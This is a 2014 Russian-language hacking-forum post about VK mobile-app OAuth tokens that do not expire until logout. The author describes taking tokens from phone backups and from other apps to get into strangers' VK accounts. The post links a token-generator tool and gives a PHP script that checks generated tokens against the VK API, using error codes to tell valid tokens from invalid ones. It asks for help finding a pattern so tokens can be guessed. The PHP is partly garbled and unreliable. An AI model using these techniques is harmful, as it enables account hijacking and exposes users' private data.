app vk или особенности oauth 2.0

Discussion in 'Уязвимости' started by e17, 8 Mar 2014.

  1. e17

    e17 Member

    Joined:
    8 Feb 2013
    Messages:
    47
    Likes Received:
    57
    Reputations:
    81
    Как мы все знаем, vk активно продвигает свое мобильное приложение, ни для кого ни секрет что авторизация происходит не при помощи сохранения login : pass, а при помощи oauth 2.0 токена, на сайте разработчиков технологии есть правило:
    При генирации подобного токена, ему должен присваиватся срок жизни, но в vk app токен жив покуда не нажата кнопка выйти из приложения.

    url:https://api.vk.com/method/
    script:getProfiles.xml
    Code:
    ?uid=1 - не имеет значения, можем ставить любой.
    &v=5.0 - версия app, в принципе тоже не имеет значения для нас.
    &access_token=5a554ed55925b7b396fcf626f22d6f5f096a5fa0e740e4c41478a9fadd1791d9d99c8901d418593c43da3 - определяется как токен 85 символов;.
    

    _ttps://api.vk.com/method/getProfiles.xml?uid=1&v=5.0&access_token=f5a554ed55925b7b396fcf626f22d6f5f096a5fa0e740e4c41478a9fadd1791d9d99c8901d418593c43da3

    возвращает:
    Code:
    <error>
    <error_code>5</error_code>
    <error_msg>User authorization failed: invalid access_token.</error_msg>
    <request_params list="true">
    <param>
    
    Если переменная не токен код 10:

    Code:
    <error_code>10</error_code>
    <error_msg>Internal server error: could not get application</error_msg>
    <request_params list="true">
    
    Если автаризация прошла успешно возвращает Имя:Фамилия:ид или ссылку на ввод номера, по коду страны можно сделать сменный SOCS.

    Я собственно столкнулся с этим мучая бэкап своего телефона, хотел зайти без ввода забытого пароля, после чего нашел много таких токенов внутри других апп, которые вернули результат авторизации в чужие страниц от вк.
    Думаю чем-то подобным страдают и другие приложения, тк для генирации нового токена недостаточно знать старый, нужно вводить логин : пасс поновой.



    Накидал токен_ген. Win 7.

    http://www.sendspace.com/file/t6hyqq

    пшп код чека генерированных токенов:


    PHP:
    <?php
    $content 
    file_get_contents('token.txt');
    $content explode(' '$content);
    $ch_messeges curl_init();
    curl_setopt($ch_messegesCURLOPT_URL'https://api.vk.com/method/getProfiles?uid=1&v=5.0&access_token='.$content.');
    curl_setopt($ch_messeges, CURLOPT_HEADER, false);
    curl_setopt($ch_messeges, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch_messeges, CURLOPT_CONNECTTIMEOUT, 30);
    curl_setopt($ch_messeges, CURLOPT_USERAGENT, '
    PHP');
    curl_setopt($ch_messeges, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch_messeges, CURLOPT_SSL_VERIFYHOST, false);
    $messeges_result = curl_exec($ch_messeges);
    curl_close($ch_messeges);
    $messeges = json_decode($messeges_result);
    ?>
    Все это наводит на мысль что в подобных токенах есть закономерность, пост с надеждой что тема получит логическое продолжение.

    http://oauth.net/2/
    http://vk.com/dev/
     
    #1 e17, 8 Mar 2014
    Last edited: 8 Mar 2014